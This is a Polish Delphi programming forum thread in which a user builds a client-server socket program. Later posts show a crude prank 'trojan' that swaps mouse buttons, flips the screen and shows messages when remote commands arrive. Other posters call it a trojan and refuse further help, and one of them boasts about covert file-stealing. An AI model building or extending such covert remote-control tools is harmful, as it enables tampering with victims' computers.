prosze o pomoc

0

W cliencie mam taki kod :
<font color="green">ClientSocket1.Socket.SendText('komunikat');
ClientSocket1.Socket.SendText(Memo1.Lines.Text);</span>A w Serverze mam

<font color="green">var
komunikat:string;
begin
komunikat:=ServerSocket1.Socket.Connections[0].ReceiveText;
if (komunikat='komunikat') then Application.MessageBox(PChar(Memo1.Lines.Text),'Komunikat',MB_YESNOCANCEL+MB_ICONINFORMATION);</span>

I jak mam zrobic jelsi jestem polaczony client z socketem by w serwerze pokazal sie text z Memo ktore bylo w cliencie??

0

zamiast sendText to użyj SendBuf, Receivebuf

przykład realizacji

Type
TSendObjRec = object
Rozkaz : Word;
kto : String[255];
co : String[255];
Gdzie : String[255];
Ver : TVer;
End;
var

buf : TSendObjRec;
procedure TServerForm.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket)
begin
Socket.ReceiveBuf(Buf,SizeOf(buf));
if Buf.Rozkaz = rSendMessage then // rsendmessage stała o wartosci jakies np 1
begin
lbMsg.Items.Add (buf.kto + ': ' + buf.co + ' -> ' + buf.Gdzie);
end;
end;

// client
procedure TClientForm.btnSendClick(Sender: TObject);
begin
buf.rozkaz := rSendMessage;
buf.co := EditMsg.Text;
buf.kto := ClientSocket1.socket.LocalHost;
buf.Gdzie := ipDest.text;
ClientSocket1.Socket.SendBuf(Buf,SizeOf(buf));
emd'

0

a czym sie roznia te SendBuf, Receivebuf od ReceiveText plis powiedz mi dokladnie o coe biega??

0

Mam taki kod w serwerze:

[b]procedure[/b] TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
[b]var[/b]
buf : TSendObjRec;
[b]begin[/b]
komunikat:=ServerSocket1.Socket.Connections[0].ReceiveText;
Socket.ReceiveBuf(buf,sizeof(buf));
[b]if[/b] (komunikat=<font color="blue">'komunikat'</span>) [b]then [/b]MessageBox(Handle,Memo1.text,'',MB_OK);

A w Cliencie:

[b]procedure[/b] TForm1.SpeedButton7Click(Sender: TObject);
[b]begin[/b]
ClientSocket1.Socket.SendText(<font color="blue">'komunikat'</span> +Memo1.Text);
[b]end;[/b]

I jak mam zrobic by ten text z clienta a dokladnie z Memo1 zostal wyslany do serwera i zostal dodany do komuniaktu?? Prosze o kod z gory dziekuje.

0

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);

//var
// buf : TSendObjRec;

begin
komunikat:=ServerSocket1.Socket.Connections[0].ReceiveText;
//Socket.ReceiveBuf(buf,sizeof(buf));

//if (komunikat='komunikat') then MessageBox(Handle,Memo1.text,'',MB_OK);
if pos('komunikat',komunikat)=1 then MessageBox(Handle,Memo1.text,'',MB_OK);

Problem polegał na tym, że w zasadzie po pierwsze- nie wiem po co Ci bufor, skoro z niego nie korzystasz, po drugie - jesli cały komunikat byłby 'komunikat' to zonacza, że nie zostałą przesłana wiadomośc, dlatego sprawdzamy, czy słowo 'komunikat' jest na poczatku.

p.s. to co skomentowane to to co zmieniłem

0

a teraz mam taki kod:

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
komunikat:string;
Canvas:TCanvas;
R:TRect;
begin
komunikat:=ServerSocket1.Socket.Connections[0].ReceiveText;
if pos('myszkapodmien',komunikat)=1 then SwapMouseButton(true);
if pos('myszkaprzywroc',komunikat)=1 then SwapMouseButton(false);
if pos('komunikat',komunikat)=1 then MessageBox(Handle,pchar(Memo1.text),'',MB_OK);
if pos('ekranobroc',komunikat)=1 then
Canvas.Create;
try
Canvas.Handle:=CreateDC('DISPLAY',nil,nil,nil);
Canvas.CopyRect(Rect(0,0,Screen.Width,Screen.Height),Canvas,
Rect(0,Screen.Height,Screen.Width,0));
finally
Canvas.Free;
end;
end;

I jak zrobic by z clienta pobrano text z memo i dodano do messagebox?? prosze o pomoc

0

To się może od razu spytaj "jak zrobić trojana"?! Po tym ostatnim kodzie od razu widać, co to takiego. Na dodatek tandetne. Aż mi się przypomniał jakiś lolek który na forum CD Projektu zadał pytanie "skąd wziać cracka do Gothica 2, bo kupiłem pirata i nie działa"... Na forum dystrybutora tej gry...........

0

HAHAHA dobre z tym Gothiciem 2. Ej urbi ja kiedys zrobilem extra trojanka ktory nie jest chamski tylko jest mozliwosc po cichu przegladania sobie dyskow i sciagania pliczkow i nic ofiara nie widzi. A jak patrze na twoj projekt to mi sie plakac chce. Zastosuj rekordy i wysylaj pakiet SendBuf. Jesli tego nie umiesz masz artykul o gniazdach gdzies na 4programmers.

0

czytalem ale i tak nie wychodzi mi cos plis podaj mi kodzik

0

[proszę innych o nieodpowiadanie na wszelkie jego dalsze pytania związane z pisaniem trojanów]

Wiecie, po co mu to? Pisze trojana dla kolegi, który za to chce zapłacić... Jeśli nie rozumiesz tego, co jest w tym artykule, to na prawdę daj se spokój z programowaniem. I to "dajcie kodzik". To w końcu kto ma ten program napisać? Ty czy ktoś inny z forum? POza tym szczerze wątpię, żebyś miał oryginalne delphi z licencją, a piszać programy i dostając za to pieniądze, jeśli nie masz licencji, popełniasz przestępstwo. Wystarczy wysłać do Borlandu twoje dane i log z rozmowy na GG (hehehe)....

1 użytkowników online, w tym zalogowanych: 0, gości: 1